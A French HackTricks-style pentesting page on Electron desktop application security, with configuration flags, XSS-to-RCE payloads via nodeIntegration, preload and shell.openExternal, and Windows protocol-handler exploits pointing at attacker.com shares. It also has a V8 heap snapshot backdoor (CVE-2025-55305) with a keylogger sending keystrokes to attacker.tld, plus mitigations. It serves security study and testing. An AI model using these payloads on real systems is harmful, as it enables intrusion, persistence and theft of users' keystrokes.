Applications de bureau Electron
Reading time: 23 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Introduction
Electron combine un backend local (avec NodeJS) et un frontend (Chromium), bien qu'il lui manque certains des mécanismes de sécurité des navigateurs modernes.
Vous trouverez généralement le code de l'application Electron à l'intérieur d'un fichier .asar
; pour obtenir le code, vous devez l'extraire :
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
Dans le code source d'une application Electron, à l'intérieur de packet.json
, vous pouvez trouver spécifié le fichier main.js
oĂč sont dĂ©finies les configurations de sĂ©curitĂ©.
{
"name": "standard-notes",
"main": "./app/index.js",
Electron possĂšde 2 types de processus :
- Processus principal (a un accĂšs complet Ă NodeJS)
- Processus de rendu (devrait avoir un accÚs restreint à NodeJS pour des raisons de sécurité)
Un processus de rendu sera une fenĂȘtre de navigateur chargeant un fichier :
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
Les paramĂštres du renderer process peuvent ĂȘtre configurĂ©s dans le main process Ă l'intĂ©rieur du fichier main.js. Certaines configurations permettront d'empĂȘcher l'application Electron d'obtenir une RCE ou d'autres vulnĂ©rabilitĂ©s si les paramĂštres sont correctement configurĂ©s.
L'application Electron pourrait accĂ©der Ă l'appareil via Node apis bien qu'elle puisse ĂȘtre configurĂ©e pour l'en empĂȘcher :
nodeIntegration
- estoff
par défaut. Si on, permet d'accéder aux fonctionnalités de Node depuis le renderer process.contextIsolation
- eston
par défaut. Si off, main and renderer processes ne sont pas isolés.preload
- vide par défaut.sandbox
- est off par défaut. Il restreindra les actions que NodeJS peut effectuer.- Node Integration in Workers
nodeIntegrationInSubframes
- estoff
par défaut.- Si
nodeIntegration
est activé, cela permettrait l'utilisation des Node.js APIs dans des pages web chargées dans des iframes au sein d'une application Electron. - Si
nodeIntegration
est désactivé, alors les preloads se chargeront dans l'iframe
Example of configuration:
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
Quelques RCE payloads de here:
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
Capturer le trafic
Modifiez la configuration start-main et ajoutez l'utilisation d'un proxy tel que:
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
Electron Local Code Injection
Si vous pouvez exécuter localement une Electron App, il est possible que vous puissiez lui faire exécuter du code JavaScript arbitraire. Consultez comment dans :
macOS Electron Applications Injection
RCE: XSS + nodeIntegration
Si la nodeIntegration est réglée sur on, le JavaScript d'une page web peut utiliser facilement les fonctionnalités de Node.js simplement en appelant require()
. Par exemple, la maniÚre d'exécuter l'application calc sous Windows est :
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
.png)
RCE: preload
Le script indiqué dans ce paramÚtre est chargé avant les autres scripts dans le renderer, donc il a un accÚs illimité aux Node APIs :
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
Par conséquent, le script peut exporter node-features vers des pages :
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
[!NOTE] > Si
contextIsolation
est activé, cela ne fonctionnera pas
RCE: XSS + contextIsolation
Le contextIsolation introduit des contextes séparés entre les scripts de la page web et le code interne JavaScript d'Electron afin que l'exécution JavaScript de chaque code n'affecte pas l'autre. C'est une fonctionnalité nécessaire pour éliminer la possibilité de RCE.
Si les contextes ne sont pas isolés, un attaquant peut :
- Exécuter arbitrary JavaScript in renderer (XSS ou navigation vers des sites externes)
- Remplacer la méthode intégrée utilisée dans le preload ou dans le code interne d'Electron pour en prendre le contrÎle
- Déclencher l'utilisation de la fonction écrasée
- RCE?
Il y a 2 endroits oĂč les mĂ©thodes intĂ©grĂ©es peuvent ĂȘtre Ă©crasĂ©es : dans le code preload ou dans le code interne d'Electron :
Electron contextIsolation RCE via preload code
Electron contextIsolation RCE via Electron internal code
Electron contextIsolation RCE via IPC
Contourner l'événement de clic
Si des restrictions sont appliquĂ©es lorsque vous cliquez sur un lien, vous pouvez peut-ĂȘtre les contourner en effectuant un clic du milieu au lieu d'un clic gauche classique.
window.addEventListener('click', (e) => {
RCE via shell.openExternal
Pour plus d'informations sur ces exemples, consultez https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 et https://benjamin-altpeter.de/shell-openexternal-dangers/
Lors du déploiement d'une application de bureau Electron, s'assurer que les paramÚtres nodeIntegration
et contextIsolation
sont correctement configurĂ©s est crucial. Il est Ă©tabli que client-side remote code execution (RCE) ciblant les preload scripts ou le code natif d'Electron depuis le processus principal est efficacement empĂȘchĂ© lorsque ces paramĂštres sont en place.
Lorsqu'un utilisateur interagit avec des liens ou ouvre de nouvelles fenĂȘtres, des Ă©couteurs d'Ă©vĂ©nements spĂ©cifiques sont dĂ©clenchĂ©s, et ils sont cruciaux pour la sĂ©curitĂ© et le fonctionnement de l'application :
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
Ces listeners sont surchargĂ©s par l'application de bureau pour implĂ©menter leur propre logique mĂ©tier. L'application Ă©value si un lien naviguĂ© doit ĂȘtre ouvert en interne ou dans un navigateur web externe. Cette dĂ©cision est gĂ©nĂ©ralement prise via une fonction, openInternally
. Si cette fonction retourne false
, cela indique que le lien doit ĂȘtre ouvert en externe, en utilisant la fonction shell.openExternal
.
Voici un pseudo-code simplifié :
Electron JS security best practices déconseillent d'accepter du contenu non fiable avec la fonction openExternal
, car cela pourrait conduire à une RCE via divers protocoles. Les systÚmes d'exploitation prennent en charge différents protocoles pouvant déclencher une RCE. Pour des exemples détaillés et des explications supplémentaires sur ce sujet, on peut se référer à this resource, qui inclut des exemples de protocoles Windows capables d'exploiter cette vulnérabilité.
Sous macos, la fonction openExternal
peut ĂȘtre exploitĂ©e pour exĂ©cuter des commandes arbitraires, par exemple shell.openExternal('file:///System/Applications/Calculator.app')
.
Exemples d'exploits de protocoles Windows :
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Cette vulnérabilité est décrite dans this report.
La webviewTag est une fonctionnalitĂ© dĂ©prĂ©ciĂ©e qui permet l'utilisation de NodeJS dans le renderer process, elle devrait ĂȘtre dĂ©sactivĂ©e car elle permet de charger un script dans le preload context comme :
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
Ainsi, un attaquant qui parvient Ă charger une page arbitraire pourrait utiliser cette balise pour charger un preload script arbitraire.
Ce preload script a ensuite été exploité pour appeler un service IPC vulnérable (skype-new-window
) qui appelait shell.openExternal
pour obtenir RCE :
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
Lecture de fichiers internes : XSS + contextIsolation
Désactiver contextIsolation
permet l'utilisation de balises <webview>
, similaires Ă <iframe>
, pour lire et exfiltrating des fichiers locaux. Un exemple montre comment exploiter cette vulnérabilité pour lire le contenu de fichiers internes :
De plus, une autre méthode pour lire un fichier interne est présentée, mettant en évidence une vulnérabilité critique de lecture de fichiers locaux dans une Electron desktop app. Cela implique l'injection d'un script pour exploiter l'application et exfiltrate data :
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
RCE: XSS + Chromium ancien
Si le chromium utilisĂ© par l'application est ancien et qu'il existe des known vulnerabilities dessus, il pourrait ĂȘtre possible de exploit it and obtain RCE through a XSS.
Vous pouvez voir un exemple dans ce writeup: https://blog.electrovolt.io/posts/discord-rce/
XSS Phishing via Internal URL regex bypass
Supposons que vous ayez trouvĂ© un XSS mais que vous cannot trigger RCE or steal internal files â vous pourriez essayer de l'utiliser pour steal credentials via phishing.
Tout d'abord, vous devez savoir ce qui se passe lorsque vous essayez d'ouvrir une nouvelle URL, en vérifiant le code JS cÎté front-end :
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
L'appel Ă openInternally
décidera si le link sera ouvert dans la desktop window puisqu'il s'agit d'un link appartenant à la plateforme, ou s'il sera ouvert dans le browser en tant que ressource tierce.
Dans le cas oĂč le regex utilisĂ© par la fonction est vulnerable to bypasses (par exemple en ne rĂ©alisant pas l'Ă©chappement des points des subdomains) un attacker pourrait abuser du XSS pour ouvrir une nouvelle fenĂȘtre qui sera situĂ©e dans l'infrastructure de l'attacker demandant des credentials Ă l'utilisateur:
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
file://
Protocole
As mentioned in the docs pages running on file://
ont un accĂšs unilatĂ©ral Ă tous les fichiers de votre machine, ce qui signifie que XSS issues can be used to load arbitrary files depuis la machine de l'utilisateur. L'utilisation d'un protocole personnalisĂ© empĂȘche ce type de problĂšme car vous pouvez limiter le protocole Ă ne servir qu'un ensemble spĂ©cifique de fichiers.
Remote module
The Electron Remote module permet aux renderer processes to access main process APIs, facilitant la communication au sein d'une application Electron. Cependant, activer ce module introduit des risques de sécurité importants. Il augmente la surface d'attaque de l'application, la rendant plus susceptible à des vulnérabilités telles que cross-site scripting (XSS) attacks.
tip
Although the remote module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.
warning
Many apps that still use the remote module do it in a way that require NodeIntegration to be enabled in the renderer process, which is a huge security risk.
Since Electron 14 the remote
module of Electron might be enabled in several steops cause due to security and performance reasons it's recommended to not use it.
To enable it, it'd first needed to enable it in the main process:
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
Ensuite, le processus renderer peut importer des objets depuis le module comme ceci :
import { dialog, getCurrentWindow } from '@electron/remote'
Le blog post indique quelques fonctions intéressantes exposées par l'objet app
du module remote :
app.relaunch([options])
- Redémarre l'application en quittant l'instance actuelle et en lançant une nouvelle. Utile pour les mises à jour de l'application ou des changements d'état importants.
app.setAppLogsPath([path])
- DĂ©finit ou crĂ©e un rĂ©pertoire pour stocker les logs de l'application. Les logs peuvent ĂȘtre rĂ©cupĂ©rĂ©s ou modifiĂ©s en utilisant
app.getPath()
ouapp.setPath(pathName, newPath)
. app.setAsDefaultProtocolClient(protocol[, path, args])
- Enregistre l'exécutable courant comme le gestionnaire par défaut pour un protocole spécifié. Vous pouvez fournir un chemin personnalisé et des arguments si nécessaire.
app.setUserTasks(tasks)
- Ajoute des tùches à la catégorie Tasks dans la Jump List (sous Windows). Chaque tùche peut contrÎler la façon dont l'app est lancée ou quels arguments sont passés.
app.importCertificate(options, callback)
- Importe un certificat PKCS#12 dans le magasin de certificats du systĂšme (Linux uniquement). Un callback peut ĂȘtre utilisĂ© pour traiter le rĂ©sultat.
app.moveToApplicationsFolder([options])
- Déplace l'application vers le dossier Applications (sur macOS). Aide à garantir une installation standard pour les utilisateurs Mac.
app.setJumpList(categories)
- Définit ou supprime une Jump List personnalisée sur Windows. Vous pouvez préciser des catégories pour organiser l'affichage des tùches à l'utilisateur.
app.setLoginItemSettings(settings)
- Configure quels exécutables se lancent au login, ainsi que leurs options (macOS et Windows uniquement).
Example:
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
systemPreferences module
L'API principale pour accéder aux préférences systÚme et émettre des événements systÚme dans Electron. Des méthodes comme subscribeNotification, subscribeWorkspaceNotification, getUserDefault, et setUserDefault font toutes partie de ce module.
Exemple d'utilisation:
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
subscribeNotification / subscribeWorkspaceNotification
- Ăcoute les notifications macOS natives en utilisant NSDistributedNotificationCenter.
- Avant macOS Catalina, vous pouviez sniff toutes les notifications distribuées en passant nil à CFNotificationCenterAddObserver.
- AprÚs Catalina / Big Sur, les sandboxed apps peuvent encore s'abonner à beaucoup d'événements (par exemple, verrouillage/déverrouillage d'écran, montages de volumes, activité réseau, etc.) en enregistrant les notifications par nom.
getUserDefault / setUserDefault
-
Interagit avec NSUserDefaults, qui stocke les préférences application ou globales sur macOS.
-
getUserDefault peut récupérer des informations sensibles, comme emplacements récents de fichiers ou la localisation géographique de l'utilisateur.
-
setUserDefault peut modifier ces préférences, affectant potentiellement la configuration d'une app.
-
Dans les anciennes versions d'Electron (avant v8.3.0), seule la suite standard de NSUserDefaults était accessible.
Shell.showItemInFolder
Cette fonction montre le fichier donné dans un gestionnaire de fichiers, qui pourrait exécuter automatiquement le fichier.
For more information check https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
Content Security Policy
Les apps Electron devraient avoir une Content Security Policy (CSP) pour prĂ©venir les attaques XSS. La CSP est un standard de sĂ©curitĂ© qui aide Ă empĂȘcher l'exĂ©cution de code non fiable dans le navigateur.
Elle est généralement configurée dans le fichier main.js
ou dans le template index.html
avec la CSP à l'intérieur d'une meta tag.
For more information check:
Content Security Policy (CSP) Bypass
RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
Cette chaĂźne rĂ©elle a affectĂ© Visual Studio Code 1.63 (CVE-2021-43908) et dĂ©montre comment un unique XSS pilotĂ© par Markdown dans un webview peut ĂȘtre escaladĂ© en RCE complĂšte lorsque CSP, postMessage et les scheme handlers sont mal configurĂ©s. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
Aperçu de la chaßne d'attaque
- First XSS via webview CSP: The generated CSP included
style-src 'self' 'unsafe-inline'
, allowing inline/style-based injection in avscode-webview://
context. The payload beaconed to/stealID
to exfiltrate the target webviewâs extensionId. - Construction de l'URL du webview cible : en utilisant l'ID leaked pour construire
vscode-webview://<extensionId>/.../<publicUrl>
. - Second XSS via postMessage trust: The outer webview trusted
window.postMessage
without strict origin/type checks and loaded attacker HTML withallowScripts: true
. - Local file loading via scheme/path rewriting: The payload rewrote
file:///...
tovscode-file://vscode-app/...
and swappedexploit.md
forRCE.html
, abusing weak path validation to load a privileged local resource. - RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
Example RCE primitive in the final context
// RCE.html (executed in a Node-enabled webview context)
require('child_process').exec('calc.exe'); // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
Lecture complémentaire sur les problÚmes de confiance liés à postMessage :
Outils
- Electronegativity est un outil permettant d'identifier les mauvaises configurations et les anti-patterns de sécurité dans les applications basées sur Electron.
- Electrolint est une extension open source pour VS Code dédiée aux applications Electron qui utilise Electronegativity.
- nodejsscan pour détecter les bibliothÚques tierces vulnérables
- Electro.ng: Vous devez l'acheter
Laboratoires
Dans https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s vous trouverez un lab pour exploiter des applications Electron vulnérables.
Quelques commandes qui vous aideront avec le lab :
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
Porte dĂ©robĂ©e locale via la falsification de V8 heap snapshot (Electron/Chromium) â CVE-2025-55305
Electron et les applications basées sur Chromium désérialisent un V8 heap snapshot préconstruit au démarrage (v8_context_snapshot.bin, et optionnellement browser_v8_context_snapshot.bin) pour initialiser chaque V8 isolate (main, preload, renderer). Historiquement, les fuses d'intégrité d'Electron ne traitaient pas ces snapshots comme du contenu exécutable, ils échappaient donc à la fois à l'application des fuses d'intégrité et aux vérifications de code-signing du systÚme d'exploitation. En conséquence, remplacer le snapshot dans une installation modifiable par l'utilisateur permettait une exécution de code furtive et persistante à l'intérieur de l'app sans modifier les binaires signés ni l'ASAR.
Points clés
- Faille d'intĂ©gritĂ© : EnableEmbeddedAsarIntegrityValidation et OnlyLoadAppFromAsar valident le JavaScript de l'app Ă l'intĂ©rieur de l'ASAR, mais ne couvraient pas les V8 heap snapshots (CVE-2025-55305). De mĂȘme, Chromium ne vĂ©rifie pas l'intĂ©gritĂ© des snapshots.
- PrĂ©conditions de l'attaque : Ă©criture locale de fichiers dans le rĂ©pertoire d'installation de l'application. Ceci est courant sur les systĂšmes oĂč les apps Electron ou navigateurs Chromium sont installĂ©s dans des chemins modifiables par l'utilisateur (ex. %AppData%\Local sous Windows ; /Applications avec des rĂ©serves sur macOS).
- Effet : exécution fiable de JavaScript contrÎlé par l'attaquant dans n'importe quel isolate en écrasant un builtin fréquemment utilisé (un « gadget »), permettant persistance et contournement de la vérification de code-signing.
- Surface affectĂ©e : applications Electron (mĂȘme avec les fuses activĂ©s) et navigateurs basĂ©s sur Chromium qui chargent des snapshots depuis des emplacements modifiables par l'utilisateur.
Générer un snapshot malveillant sans builder Chromium
- Utilisez le prebuilt electron/mksnapshot pour compiler un payload JS en snapshot et écraser le v8_context_snapshot.bin de l'application.
Example minimal payload (prove execution by forcing a crash)
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Replace the applicationâs v8_context_snapshot.bin with the generated file
const orig = Array.isArray;
// Use Array.isArray as a ubiquitous gadget
Array.isArray = function () {
// Executed whenever the app calls Array.isArray
throw new Error("testing isArray gadget");
};
Isolate-aware payload routing (exécuter du code différent dans main vs. renderer)
- Détection du main process : les Node-only globals comme process.pid, process.binding(), ou process.dlopen sont présents dans l'isolate du main process.
- Détection Browser/renderer : les Browser-only globals comme alert sont disponibles lorsqu'on s'exécute dans un contexte de document.
Exemple de gadget qui sonde une fois les capacités Node du main process
const orig = Array.isArray;
Array.isArray = function() {
// Defer until we land in main (has Node process)
try {
if (!process || !process.pid) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
// Run once
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
console.log('[payload] isArray hook started ...');
// Capability probing in main
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
process.exit(0);
}
return orig(...arguments);
};
PoC de vol de données depuis le renderer/contexte du navigateur (p. ex., Slack)
const orig = Array.isArray;
Array.isArray = function() {
// Wait for a browser context
try {
if (!alert) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
setInterval(() => {
window.onkeydown = (e) => {
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
}
}, 1000);
}
return orig(...arguments);
};
Flux de travail de l'opérateur
- Ăcrire payload.js qui Ă©crase une fonction native courante (par ex., Array.isArray) et, optionnellement, effectue des branches par isolate.
- Construire le snapshot sans les sources de Chromium :
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
- Remplacer le(s) fichier(s) snapshot de l'application cible :
- v8_context_snapshot.bin (toujours utilisé)
- browser_v8_context_snapshot.bin (si le fuse LoadBrowserProcessSpecificV8Snapshot est utilisé)
- Lancer l'application ; le gadget sâexĂ©cute chaque fois que la fonction native choisie est utilisĂ©e.
Notes et considérations
- Contournement d'intĂ©gritĂ©/signature : les fichiers snapshot ne sont pas considĂ©rĂ©s comme des exĂ©cutables natifs par les vĂ©rifications de signature de code et (historiquement) n'Ă©taient pas couverts par Electronâs fuses ni par les contrĂŽles d'intĂ©gritĂ© de Chromium.
- Persistance : remplacer le snapshot dans une installation modifiable par l'utilisateur survit généralement aux redémarrages de l'application et ressemble à une application signée et légitime.
- Navigateurs Chromium : le mĂȘme concept de falsification s'applique Ă Chrome/derivĂ©s installĂ©s dans des emplacements modifiables par l'utilisateur. Chrome dispose d'autres mesures d'intĂ©gritĂ© mais exclut explicitement les attaques physiques locales de son modĂšle de menace.
Détection et mesures d'atténuation
- Traiter les snapshots comme du contenu exécutable et les inclure dans l'application des contrÎles d'intégrité (fix CVE-2025-55305).
- Préférer des emplacements d'installation accessibles en écriture uniquement par l'administrateur ; établir une ligne de base et surveiller les hachages pour v8_context_snapshot.bin et browser_v8_context_snapshot.bin.
- Détecter l'écrasement de fonctions natives en début d'exécution et les modifications inattendues de snapshots ; alerter lorsque les snapshots désérialisés ne correspondent pas aux valeurs attendues.
Références
- Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more
- Electron fuses
- Electron ASAR integrity
- V8 custom startup snapshots
- electron/mksnapshot
- MITRE ATT&CK T1218.015
- Loki C2
- Chromium: Disable loading of unsigned code (CIG)
- Chrome security FAQ: physically local attacks out of scope
- https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028
- https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d
- https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8
- https://www.youtube.com/watch?v=a-YnG3Mx-Tg
- https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s
- Plus de recherches et articles sur la sécurité d'Electron dans https://github.com/doyensec/awesome-electronjs-hacking
- https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
- https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.